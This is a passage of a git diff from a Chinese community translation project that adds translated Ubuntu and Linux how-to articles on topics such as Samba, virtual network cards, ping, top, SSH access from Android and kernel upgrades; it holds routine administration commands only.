+要添加用户到你的Ubuntu需要管理员权限,请在添加账户前点击解锁(Unlock)。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/09/useraccountsubuntu1.png) + +然后,点击加号( + )按钮来创建用户账户。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/09/useraccountsubuntu2.png) + +创建用户时有两种基本的账户类型: **标准用户** 和 **管理员** 。管理员权限用户有权限删除用户,安装软件和驱动,修改日期和时间,或者进行一些可能使计算机不稳定的操作。 + +标准用户不能进行这些操作。他/她只能够修改自己的个人设置里面的东西。 + +输入用户全名时,系统将根据全名自动选择用户名。你可以保留自动生成的用户名,也可以根据需要修改用户名。完成后,点击**创建(Create)**来创建账户。 + +默认情况下,刚创建的账户是不可用的,除非给他设置或修改了密码。要想让账户可用,点击账户的不可用按钮,然后输入密码。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/09/useraccountsubuntu3.png) + +如果你想要用户自动登录而不用输入密码,你可以在设置他/她登录密码的时候选择下拉选项中的自动登录。 + +Enjoy! +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/09/daily-ubuntu-tips-adding-user-accounts-ubuntu/ + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[SCUSJS](https://github.com/scusjs) 校对:[jasmiepeng](https://github.com/jasminepeng) diff --git a/published/201311/Daily Ubuntu Tips – Change Samba Workgroup And Computer Name.md b/published/201311/Daily Ubuntu Tips – Change Samba Workgroup And Computer Name.md new file mode 100644 index 0000000000..193a307b86 --- /dev/null +++ b/published/201311/Daily Ubuntu Tips – Change Samba Workgroup And Computer Name.md @@ -0,0 +1,42 @@ +每日Ubuntu小技巧-更改Samba工作组和计算机名 +================================================================================ + +这是另一个Ubuntu的新用户问的最多的问题。这个问题的答案很简单,但当你接触新事物时,你需要时间来完全理解它。 + +这是我们前几天收到的问题; + +> 如何更改Samba的工作组名和Ubuntu的计算机名称? + +对于大多数Ubuntu用户,改变他们的计算机名称是极少发生的事情,更别说samba工作组了。一些进阶使用者可能要学习如何用Ubuntu很简单的做到这一点。 + +当涉及到在Ubuntu中更改计算机名时,我们曾写过一个简单的帖子,可以点击[这里][1]找到。按照这个[怎样修改你的计算机名字][1]的简易指南来实现目的。 + +也许还有其他方法来改变你在Ubuntu中的计算机名,但是这是最简单和最快的。对于那些使用Ubuntu系统的服务器,你可以用vi或vim编辑的主机名和主机文件。那些不了解这些编辑器的人也许很难使用vi或vim。 + +在键盘上按**Ctrl – Alt – T**打开终端来更改Ubuntu中的Samba工作组。当终端打开时,运行以下命令来编辑的Samba的配置文件。 + + sudo gedit /etc/samba/smb.conf + +打开这个文件后,请确保在[global]段中workgroup起始的那行的单词或值是你想要的工作组。例如,如果你希望工作组变成UBGP,将WORKGROUP替换成UBGP,并保存该文件。在大多数情况下,你必须重启动计算机以使之生效。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/workgroupubuntu.png) + +以上就是如何在Ubuntu中更改你的计算机名以及工作组的方法。记住,如果你这样做是为了共享或访问Windows文件和文件夹,还必须​​安装Samba。没有Samba,你将难以与Windows共享文件。 + +运行下面的命令安装Samba。 + + sudo apt-get install samba + +欢迎回来掌握更多的Ubuntu小技巧。 + +尽情享受吧! + +--- + +via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-change-samba-workgroup-and-computer-name/ + +译者:[crowner](https://github.com/crowner),[whatever1992](https://github.com/whatever1992) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://linux.cn/article-2199-1.html diff --git a/published/201311/Daily Ubuntu Tips – Create Virtual Network Cards In Ubuntu Linux.md b/published/201311/Daily Ubuntu Tips – Create Virtual Network Cards In Ubuntu Linux.md new file mode 100644 index 0000000000..3557d5a0b4 --- /dev/null +++ b/published/201311/Daily Ubuntu Tips – Create Virtual Network Cards In Ubuntu Linux.md @@ -0,0 +1,42 @@ +Ubuntu每日小贴士 - 在Ubuntu下创建虚拟网卡 +================================================================================ + +这个教程是为那些想用Ubuntu做点小实验的用户准备的。这并不适用于所有人,尤其是那些在(正式环境中)使用生产机器的用户。 + +如果你对网络运行和IP网络有所了解,你应该知道在大多数情况下,每个网卡只会分配一个IP地址。我们习惯认为这是一对一的事物。 + +一个网卡对应一个IP地址,你在一台机器上的一个网卡及其IP地址只能绑定或运行单一的网络服务/端口。例如,如果你想在80端口运行一个web服务器,而一个IP地址和端口号只能由一个web服务器监听。这是这样设计的。 + +所以,网卡和IP地址并不是一对一的关系,你可以创建可以单独分配IP地址的虚拟网卡。因此,单一的物理网卡可以群集无限的子网卡或虚拟网卡。每一个都能分配它自己IP地址到对应的端口。 + +这个简短的教程将展示给你如何在Ubuntu上做到这些。这是在一台电脑上用一张物理网卡和单一的端口号运行及测试多个网络服务的好方式。 + +动手吧,运行下列命令打开网络接口文件。 + + sudo gedit /etc/network/interfaces + +然后按照下图中的步骤,添加你想要的任意多的虚拟网卡。默认情况下,Linux会给第一张网卡分配eth0的名称,所以如果你的机子只有一张网卡,那么它会被命名为eth0。 + +添加虚拟网卡,创建多个静态网卡并命名为eth0:1、eth0:2、eth0:3等等(eth0后面紧跟冒号和数字)。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/virtualnetworkcardubuntu.png) + +对于你创建的每一个网卡,也要确保网络都是不同的子网,这是网络常识(译注:事实上并非如此,虚拟网卡完全可以是相同子网的IP地址,只要你需要) + +完成以后,保存文件并用下列命令重启网络服务。 + + sudo service networking restart + +就是这样! + +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/virtualnetworkcardubuntu1.png) + +玩得开心! + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-create-virtual-network-cards-in-ubuntu-linux/ + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201311/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md b/published/201311/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md new file mode 100644 index 0000000000..64f9856f19 --- /dev/null +++ b/published/201311/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md @@ -0,0 +1,46 @@ +每日Ubuntu小技巧:一款轻量级的Email阅读器Geary +================================================================================ + +正如大家所知,Ubuntu 本身自带可以收发邮件的客户端——Thunderbird,当然它也支持Gmail,Yahoo Mail,Microsoft Outlook 等等支持IMAP协议的邮件服务。 + +Thunderbird 是一个功能强大的邮件客户端,只要email客户端所需要的功能,它都能够做到。但是如果你想选择一个能在够在GNOME 下运行的轻量级客户端,Geary 是一个不错的选择。 + +Geary 是一个界面简洁,能让你快捷方便的地阅读邮件的免费程序。它所有的对话均展示在一个简洁的面板上,这样你可以不必点击鼠标来切换消息。 + +Geary 还支持IMAP 协议,所以你可以使用Google, Yahoo 和 Microsoft 这样的在线邮箱服务。 + +以Ubuntu 13.10用户为例,Geary 可以在Ubuntu 的软件中心获取。只要运行以下命令即可安装Geary 。 + + sudo apt-get install geary + +在以前的Ubuntu 版本中,键盘按下**Ctrl – Alt – T** 可以打开终端。打开之后,运行以下命令增加PPA源。 + + sudo add-apt-repository ppa:yorba/ppa + +接下来运行以下命令来升级系统和安装Geary 。 + + sudo apt-get update && sudo apt-get install geary + +第一次启动Geary时,你需要设置你的Gmail,Yahoo 或 Microsoft 电子邮件帐户。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/gearyubuntu.png) + +设置非常的简单,只要输入你的账号信息,Geary 就会自动配置好你的账号。 + +若想卸载Geary ,首先要从系统中移除它的PPA源,要运行的命令如下。 + + sudo add-apt-repository -r ppa:yorba/ppa + +然后再运行以下命令卸载Geary 。 + + sudo apt-get remove geary + +就这么简单~ + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-get-geary-a-lightweight-email-reader-in-ubuntu/ + +译者:[NearTan](https://github.com/NearTan) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/Daily Ubuntu Tips – How To Change Your Computer Name.md b/published/201311/Daily Ubuntu Tips – How To Change Your Computer Name.md similarity index 100% rename from published/Daily Ubuntu Tips – How To Change Your Computer Name.md rename to published/201311/Daily Ubuntu Tips – How To Change Your Computer Name.md diff --git a/published/201311/Daily Ubuntu Tips – Resize Ubuntu Unity Launcher.md b/published/201311/Daily Ubuntu Tips – Resize Ubuntu Unity Launcher.md new file mode 100644 index 0000000000..51ee6b2195 --- /dev/null +++ b/published/201311/Daily Ubuntu Tips – Resize Ubuntu Unity Launcher.md @@ -0,0 +1,36 @@ +每日Ubuntu小技巧 - 改变Ubuntu Unity启动器尺寸 +================================================================================ +这里有一些给新Ubuntu用户的小技巧。这一系列的小技巧是为了帮助Ubuntu新用户轻松地配置和管理他们的电脑。这不是面向专家用户的,只是为了那些刚刚开始使用Ubuntu的用户。 + +Ubuntu启动器是Ubuntu Unity桌面的关键部分。启动器是一个布满图标的垂直条,当你登陆的时候,它就会位于屏幕的左边栏。通过它您可以从桌面方便地打开或者启动程序,还可以让您快速访问应用、工作空间、可移动设备和垃圾桶。 + +默认情况下,这个启动器图标大小被设置为48X48px,即使是较小的屏幕上也如此。如果你需要调大或调小启动器的尺寸,那么请继续接下来的学习。 + +想调整Unity启动器尺寸的原因有很多。其中一个就是为了适应更小的屏幕。如果你的屏幕很小,默认尺寸不合适,那么你就需要改变它了。 + +如果图标默认尺寸太小,想要增大它,则可以调整启动器来增大图标,从而容易点击。 + +下面开始调整大小,点击右上角的齿轮按钮弹出菜单条,点击系统设置(System Settings...),如下图。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/09/ubuntulockscreendisable3.png) + +接下来,选择 外观(Appearance) + +![](http://www.liberiangeek.net/wp-content/uploads/2013/09/unitylauncherubuntu.png) + +最后,使用滚动条来调整(增大\减小)启动器的图标尺寸。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/09/unitylauncherubuntu1.png) + +这个改变会被自动应用。记住,如果你想要继续作用默认尺寸,移动到48. + +这是另一个为Ubuntu新用户的小技巧。欢迎回来掌握更多的Ubuntu小技巧。如果你是一个老手并且想要做出贡献,就请在下面留言吧。 + +享受吧! +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/09/daily-ubuntu-tips-resize-ubuntu-unity-launcher/ + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[Vic___](http://blog.csdn.net/vic___) 校对:[jasminepeng](https://github.com/jasminepeng) \ No newline at end of file diff --git a/translated/Daily Ubuntu Tips – Webcam Support In Ubuntu Via Cheese.md b/published/201311/Daily Ubuntu Tips – Webcam Support In Ubuntu Via Cheese.md similarity index 85% rename from translated/Daily Ubuntu Tips – Webcam Support In Ubuntu Via Cheese.md rename to published/201311/Daily Ubuntu Tips – Webcam Support In Ubuntu Via Cheese.md index 32762f58c6..348645fe1b 100644 --- a/translated/Daily Ubuntu Tips – Webcam Support In Ubuntu Via Cheese.md +++ b/published/201311/Daily Ubuntu Tips – Webcam Support In Ubuntu Via Cheese.md @@ -1,9 +1,9 @@ -每日Ubuntu小技巧——Ubuntu中通过Cheese支持Webcom +每日Ubuntu小技巧——Ubuntu中通过Cheese支持Webcam ================================================================================ -对于一些Ubuntu的新用户,如果你们想在Ubuntu中使用webcam的话,这里有一些信息能够帮助到你们。正如你们说知道的那样,Ubuntu旨在支持绝大多数webcom,而且是现成可用的。大多数webcom生产商并不为Linux系统提供驱动,包括Ununtu。所以,Linux开发者们必须能够尽最大努力让webcom设备在Linux内核中运行。 +对于一些Ubuntu的新用户,如果你们想在Ubuntu中使用webcam的话,这里有一些信息能够帮助到你们。正如你们说知道的那样,Ubuntu旨在支持绝大多数webcam,而且是现成可用的。大多数webcam生产商并不为Linux系统提供驱动,包括Ununtu。所以,Linux开发者们必须能够尽最大努力让webcam设备在Linux内核中运行。 -支持Linux的webcam驱动由Linux UVC项目提供[UVC][1]。该项目意图为webam提供一个万能USB支持,就像一个通用USB驱动控制一些USB设备,例如U盘,外部USB设备和其他一些设备。 +支持Linux的webcam驱动由Linux UVC项目提供[UVC][1]。该项目意图为webcam提供一个万能USB支持,就像一个通用USB驱动控制一些USB设备,例如U盘,外部USB设备和其他一些设备。 大多数主流的USB webcam设备都可以在Linux系统下工作,其中包括支持Linux UVC项目驱动的Ubuntu。如果你想为你的Ubuntu计算机购买一个webcam设备,又不确信它是否能被支持,请[核查支持UVC的webcam列表][2]. diff --git a/published/Daily Ubuntu Tips–Change The Logon Screen Background.md b/published/201311/Daily Ubuntu Tips–Change The Logon Screen Background.md similarity index 100% rename from published/Daily Ubuntu Tips–Change The Logon Screen Background.md rename to published/201311/Daily Ubuntu Tips–Change The Logon Screen Background.md diff --git a/published/201311/Daily Ubuntu Tips–Update To LibreOffice Latest In Ubuntu Via PPA.md b/published/201311/Daily Ubuntu Tips–Update To LibreOffice Latest In Ubuntu Via PPA.md new file mode 100644 index 0000000000..0399cda887 --- /dev/null +++ b/published/201311/Daily Ubuntu Tips–Update To LibreOffice Latest In Ubuntu Via PPA.md @@ -0,0 +1,35 @@ +Ubuntu每日小技巧:通过PPA升级你的LibreOffice +================================================================================ +对于每一个你新安装的Ubuntu系统,你都会拥有一个可以让你办公的办公工具——LibreOffice。很多人都知道微软公司的的Word、Excel、PowerPoint和Outlook,但是很少有人知道LibreOffice。 + +LibreOffice靠来自全世界的志愿者来维护,由一个慈善基金会支持。它是Linux社区的一款主要的免费办公工具。它可以安装在Windows,Mac OS X和Linux等系统的计算机上。 + +就在5天前(译注:好吧,这个翻译稿拖了5天了~~,原文为“今天”。),一个新的版本将面向公众开放了。Windows,Mac OS X和Linux用户可以直接从下载页面下载最新版本了。 + +Ubuntu用户拥有添加LibreOffice软件仓库到自己的电脑来安装升级最新版的优势。如果你想要在最新版本可用时最快的得到它,这种方法将会很有用。 + +最新的LibreOffice套装版本是4.1。每一个后续的版本可以立即在4.1的仓库中找到,直到新的主线版本比如4.2的推出。 + +所以,为了在Ubuntu中自动的升级,请添加下面的软件仓库地址。 + + sudo add-apt-repository ppa:libreoffice/ppa + +接着,运行如下命令来升级最新的LibreOffice。 + + sudo apt-get update && sudo apt-get dist-upgrade + +这样就好了。当你添加上面的仓库然后升级系统,Ubuntu将会自动的下载安装最新的LibreOffice版本。 + +Windows和Mac OS X用户可以直接在程序套件中升级或者直接从网页中下载。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/libreoffice-upgrade-ubuntu.png) + +Enjoy! + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tipsupdate-to-libreoffice-latest-in-ubuntu-via-ppa/ + +译者:[SCUSJS](https://github.com/scusjs) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201311/Deciphering Top.md b/published/201311/Deciphering Top.md new file mode 100755 index 0000000000..0d2a7072f3 --- /dev/null +++ b/published/201311/Deciphering Top.md @@ -0,0 +1,33 @@ +解密"top"命令 +================================================================================ + +当对服务器的性能好奇时,我第一个想到的是"top"命令。top不是最好的,它不是一个长期的快照,但是它提供了服务器的一个不错的时间点快照,并且试着提供了告诉"现在在发生什么?"。不幸地,如果你没有深入了解不同显示域的意义,top的输出很容易被误解。 + +我不会完整解读top命令的[man page][2],当你和时间和意愿时,它一直在那等着你。我想要做的是指出一些我如何得到系统的快速概况的几个要点,并希望得到我接下来该怎么做的指示。top是我在故障排除时的第一站,但这很少会是我唯一的一站。 + +[![](http://farm4.staticflickr.com/3827/10847969205_5005a709c2_o.png)][1] + +top命令我第一个看的是平均负载(load average),它在右上角的屏幕上。平均负载的计算是基于统计搜集到的数量,但是通常可以认为是CPU被请求工作的数量。如果你的机器有一个单核CPU,那么平均负载是1就意味着机器满载的,并且有足够的能力在采样时间内完成任务。同样地,如果平均负载是2,那对单核的CPU是超载的,并需要2个可用内核才能在同样的采样时间内完成的要求的任务。随着8、16、32核的发售,我会在判断平均负载的时候就要注意一下。比如我需要去检测时,我会在top里按了数字"1",这会列出所有CPU核列表,这样我就可以得到一个快速计数用于比较负载。 + +我检查的第二项是上面列出来的内容的第9列,标记着"%CPU"那个。对这一列的解释是很模糊的: + +> 任务所分享的上次屏幕刷新后的CPU运行时间,以全部的CPU时间百分比表示。在一个真正的SMP(多处理器)环境中,如果'Irix mode'是关闭的,top会在'Solaris mode'下运行,这里一个任务的cpu使用率将除以全部的CPU数量。你可以用'I'(大写字母I)这个交互命令触发Irix或Solaris模式。 + +一点也不清楚,是么?这里要记住的主要意思是,如果单个进程由于某个原因或者其他因素占用率升高,那么他很有可能会以%CPU很高的数字显示在top的第一行。 + +我下一个注意到的区域是"Cpu(s):"这一行,在头部信息的中间。特别地,我对%us、sy%、%id、和%wa感兴趣,它们分别是用户进程、系统进程、空闲时间和CPU用于等待I/O流执行的时间比例。这个百分比应该接近于0,高于5%时需要密切关注。 + +最后,我想要看看系统up时间,这显示在左上角。如果我对一台服务器有疑问,并且这台服务器最近重启过,这里可能会发现一些什么,或许是一个守护进程没有启动。 + +这些检查只需要几秒。如果我只是观察,我可能让top运行几分钟并观察进程、CPU和负载,但是通常地我很快地进入和退出top。top是给你一个系统健康概况的那些奇妙系统管理员工具之一,并允许你快速诊断潜在的问题。 + +-------------------------------------------------------------------------------- + +via: http://ostatic.com/blog/deciphering-top + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.flickr.com/photos/51724787@N06/10847969205/ +[2]:http://www.linuxmanpages.com/man1/top1.php \ No newline at end of file diff --git a/published/Disable Amazon & Remote Content Fetching In Ubuntu 13.10.md b/published/201311/Disable Amazon & Remote Content Fetching In Ubuntu 13.10.md similarity index 100% rename from published/Disable Amazon & Remote Content Fetching In Ubuntu 13.10.md rename to published/201311/Disable Amazon & Remote Content Fetching In Ubuntu 13.10.md diff --git a/published/201311/Five Examples Of The ping Utility.md b/published/201311/Five Examples Of The ping Utility.md new file mode 100644 index 0000000000..5f52448106 --- /dev/null +++ b/published/201311/Five Examples Of The ping Utility.md @@ -0,0 +1,68 @@ +五个 ping 工具的使用实例 +================================================================================ + +### 什么是 ping 工具### + +在讲述一些关于ping工具真实直观的使用实例前,先让我来介绍一下这个命令行工具及其目的。ping工具通常用来测试一台主机在互联网协议(IP)网络内的可达性。其名字源于主动声纳法——在水下创建一个脉冲声音信号(ping)并侦听周围物体的返回信号。该方法同样生动描述了ping网络工具的工作原理。ping工具对一台主机发送回应请求然后等待ICMP响应。 + +实践中的ping工具的一些例子: + +### 查询主机的IP地址 ### + +有时候你需要得到某一台主机的IP地址,如图一。只需要键入ping命令后面跟上要查询的主机名。 + + ping www.omgubuntu.com + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/ping1.png) + +### 查询正在使用的ping工具的版本信息 ### + +用 -V 选项可以用来查询你手头上ping工具的版本信息。键入下列命令显示正在使用的ping工具的版本信息。 + + ping -V + +正如你从图二见到的,我正在使用的是“ping utility,iputils-sss20101006” + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/ping2.png) + +### 自动退出 ping ### + +当你用‘ping 主机’命令ping一台机器时,ping自己无法停止,你必需按下CTRL+C强行退出,或者你可以用 -c (count)选项指定发送包的数量。使用-c选项,当网络管理员(其实普通用户也可以)发送完指定数量的包之后,无需按CTRL+C,ping进程就会自动停止。 + + ping -c 13 127.0.0.1 + +上列的命令发送了13个包到我的本地主机上。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/ping3.png) + +正如你从图三看到的,我并没有按CTRL+C,而ping自动退出了。 + +### 指定数据包之间的时间间隔 ### + +你知道ping每秒钟发送一个数据包吗?你喜欢快一点还是慢一点?用 -i 选项能指定包之间的时间间隔。用下列命令快速发送或慢速发送包。 + +### 每0.13秒发送一个包 ### + + ping -i 0.13 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/ping4.png) + +### 每13秒发送一个包 ### + + ping -i 13 + +### 结合 -i 选项和 -c 选项 ### + + ping -c 13 -i 3 + +总共花费39秒发出13个数据包,数据包的时间间隔为三秒。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/ping6.png) + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/five-examples-ping-utility/ + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/Game-editor Leadwerks 3.1 demoed as running on Ubuntu with native look & feel.md b/published/201311/Game-editor Leadwerks 3.1 demoed as running on Ubuntu with native look & feel.md similarity index 100% rename from published/Game-editor Leadwerks 3.1 demoed as running on Ubuntu with native look & feel.md rename to published/201311/Game-editor Leadwerks 3.1 demoed as running on Ubuntu with native look & feel.md diff --git a/published/How To Install Sublime Text 3 in Ubuntu 13.04, 13.10.md b/published/201311/How To Install Sublime Text 3 in Ubuntu 13.04, 13.10.md similarity index 100% rename from published/How To Install Sublime Text 3 in Ubuntu 13.04, 13.10.md rename to published/201311/How To Install Sublime Text 3 in Ubuntu 13.04, 13.10.md diff --git a/published/201311/How to Control Your Linux PC with an Android Device.md b/published/201311/How to Control Your Linux PC with an Android Device.md new file mode 100644 index 0000000000..cf0c2765a1 --- /dev/null +++ b/published/201311/How to Control Your Linux PC with an Android Device.md @@ -0,0 +1,65 @@ +如何使用安卓设备控制你的Linux PC +================================================================================ +**下面的教程会指导所有的Linux用户如何在系统上安装SSH,以便通过安卓智能手机远程访问他们的电脑。** + +![](http://i1-news.softpedia-static.com/images/news2/How-to-Control-Your-Linux-PC-with-an-Android-Device-396004-2.jpg) +如今我们所有人都拥有一台平板或触屏手机,我们经常使用它们在深夜里看电影或电视节目,听歌或者读一本好书。你可以把本文称作是“懒人教程”,它是专门为那些在大晚上因为太过疲惫而懒得去开启他们电脑上的某些应用程序,移动、删除,复制或重命名某些文件,甚至懒得去关掉PC的人准备的。 + +的确,已经有各种各样的远程桌面解决方案,但是许多方案费用很高,或者实现效果很糟糕,无法像预期一样运行,迫使你最终还是得去电脑上做你原本想做的事情。 + +在这个教程里面,我们将使用一种简单、安全、高效的协议,它被称为SSH (Secure Shell),很容易从默认的软件仓库中安装(在Arch linx中是openssh,在Ubuntu中是openssh-server)。 + +### 配置SSH服务器 ### + +在安装完成后,你需要为SSH服务器进行基本配置。为此,你需要使用文本编辑器编辑/etc/ssh/sshd_config这个文件。 + +1.在文件尾部添加下面一行(下面的yourusername使用你的Linux机器上存在的用户名代替) + +AllowUsers yourusername + +2.取消"#PermitRootLogin"这行注释,把"no"替换成"yes"(译注:下面的选项修改和是否允许ssh登录无关,只是允许root直接登录,一般而言,并不建议如下这样的远程root直接登录。): + + PermitRootLogin no + +3.为了安全起见,你需要修改SSH 连接默认的22端口到一个更大编号的端口,譬如在我们的例子中是55441 +(但不要使用55441,这是我举个列子,可以找另一个四位或者五位数字)。因此,取消注释并编辑"#Port 22"如下(译注:你可以选择任何一个大于1024并小于65535的端口,只要他没有被别的程序占用,为什么不试试你的幸运数字呢?): + + Port 55441 + +### 开启SSH服务器### + +在Ubuntu上,SSH服务通过下面的命令启动: + + sudo /etc/init.d/ssh start + +当你每次修改上述配置文件时,都需要通过下面的命令重启: + + sudo /etc/init.d/ssh restart + +在Arch Linux上,你可以使用下面的命令启动SSH服务: + + sudo systemctl start sshd + +### 配置安卓设备上的SSH客户端### + +JuiceSSH似乎是安卓上最好的SSH客户端之一,而且是免费的。同时,如果你认为它的功能比较简单,可以花费少量的钱来得到更多高级的特性,譬如亚马逊 AWS/EC2 集成,团队协作,以及更多其它的特性。 + +一旦软件安装完毕,开启它,然后你会要求输入一个加密的密码以保证连接的安全。这个密码由AES-256进行加密,因此除非你的设备被偷,否则没有人能够获取它们。 + +![](http://i1-news.softpedia-static.com/images/extra/LINUX/large/sshlinuxandroid-large_001.jpg) + +现在,添加一个新连接,为你的电脑选择名称、IP地址,上面设定的端口号以及一个需要被创建的身份。 + +![](http://i1-news.softpedia-static.com/images/extra/LINUX/large/sshlinuxandroid-large_002.jpg) + +![](http://i1-news.softpedia-static.com/images/extra/LINUX/large/sshlinuxandroid-large_003.jpg) + +这就是我的Arch Linux机器,这是通过我的安卓平板上的JuiceSSH客户端访问到的界面。如果在这个教程中你遇到问题,请在下面进行评论。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/How-to-Control-Your-Linux-PC-with-an-Android-Device-396004.shtml + +译者:[KayGuoWhu](https://github.com/KayGuoWhu) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/translated/How to Install Linux Kernel 3.12 in Ubuntu 13.10.md b/published/201311/How to Install Linux Kernel 3.12 in Ubuntu 13.10.md similarity index 65% rename from translated/How to Install Linux Kernel 3.12 in Ubuntu 13.10.md rename to published/201311/How to Install Linux Kernel 3.12 in Ubuntu 13.10.md index df8760926b..f780068ef4 100644 --- a/translated/How to Install Linux Kernel 3.12 in Ubuntu 13.10.md +++ b/published/201311/How to Install Linux Kernel 3.12 in Ubuntu 13.10.md @@ -1,13 +1,13 @@ 如何在Ubuntu 13.10上安装Linux内核 3.12 ================================================================================ -**Ubuntu 13.10 用户不必再羡慕地看着新的Linux内核发布,他们也可以相对轻松地更新他们的系统。** +**Ubuntu 13.10 的用户不必再用羡慕的眼神看着新版Linux内核发布,他们也可以相对轻松地更新他们的系统。** -Canonical公司一贯的做法是,在一整个开发周期中始终使用一个Linux内核。例如,Ubuntu 13.10始终基于Linux内核 3.11,但现在已经推出一个新的稳定的Linux内核3.12。 +Canonical公司一贯的做法是,在整个开发周期中始终使用一个Linux内核。例如,Ubuntu 13.10始终基于Linux内核 3.11,但现在已经推出一个新的稳定的Linux内核3.12。 Ubuntu用户只有等到14.04 LTS发布以后,才能得到一个较新版本的Linux内核,但到那之前他们也可以选择安装新的版本。 -不过,我们必须从一开始就提醒你。Canonical不建议你更新除官方渠道以外的比其他版本的Linux内核。这不是一个完全安全的过程,你以后可能会遇到问题,甚至系统故障。但另一方面,你的系统性能可能会得到提升。 +不过,我们必须从一开始就提醒你。Canonical不建议你更新官方渠道以外的Linux内核版本。这不是一个完全安全的过程,你以后可能会遇到问题,甚至系统故障。但另一方面,你的系统性能可能会得到提升。 你将要下载的内核来自Canonical公司,这意味着它已经在.deb格式。你不需要再自己编译。打开一个终端,导航到Downloads文件夹,输入以下命令: @@ -15,14 +15,14 @@ Ubuntu用户只有等到14.04 LTS发布以后,才能得到一个较新版本 wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.12-saucy/linux-headers-3.12.0-031200-generic_3.12.0-031200.201311031935_amd64.deb -如果你有一个32位的操作系统,你也可以下载32位版本。可见只需替换链接中的64bit为32bit即可[here][1]. +如果你有一个32位的操作系统,你也可以下载32位版本。可见只需替换链接中的64bit为32bit即可,[点此下载][1]. 现在,你将像运行任何其它程序一样运行这些.deb文件。在你下载软件包的同一个终端,输入下面的命令(你需要root权限才能正常运行): sudo dpkg -i linux-image-3.12.0-031200-generic_3.12.0-031200.201311031935_amd64.deb sudo dpkg -i linux-headers-3.12.0-031200-generic_3.12.0-031200.201311031935_amd64.deb -安装完后,你需要重启系统。瞧,新的Linux内核就在那里了。好消息,旧的内核仍然存在,如果你要删除3.12版的内核,只需使用众所周知命令。 +此过程结束后,你需要重启系统。瞧,新版本的Linux内核更新成功。好消息是,旧版本内核仍然存在,如果你要删除3.12版的内核,只需使用众所周知命令。 sudo apt-get purge linux-image-3.12.0-031200-generic_3.12.0-031200.201311031935_amd64.deb sudo apt-get linux-headers-3.12.0-031200-generic_3.12.0-031200.201311031935_amd64.deb @@ -34,8 +34,8 @@ Ubuntu用户只有等到14.04 LTS发布以后,才能得到一个较新版本 来源于: http://news.softpedia.com/news/How-to-Install-Linux-Kerrnel-3-12-in-Ubuntu-13-10-397013.shtml -译者:[coolpigs](https://github.com/coolpigs) 校对:[校对者ID](https://github.com/校对者ID) +译者:[coolpigs](https://github.com/coolpigs) 校对:[Caroline](https://github.com/carolinewuyan) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 -[1]:http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.12-saucy/ \ No newline at end of file +[1]:http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.12-saucy/ diff --git a/published/How to Install Ubuntu Touch 13.10 on Your Phone.md b/published/201311/How to Install Ubuntu Touch 13.10 on Your Phone.md similarity index 100% rename from published/How to Install Ubuntu Touch 13.10 on Your Phone.md rename to published/201311/How to Install Ubuntu Touch 13.10 on Your Phone.md diff --git a/published/201311/How to Install the Latest NVIDIA 331.20 Driver in Ubuntu 13.10.md b/published/201311/How to Install the Latest NVIDIA 331.20 Driver in Ubuntu 13.10.md new file mode 100644 index 0000000000..f20a0790c5 --- /dev/null +++ b/published/201311/How to Install the Latest NVIDIA 331.20 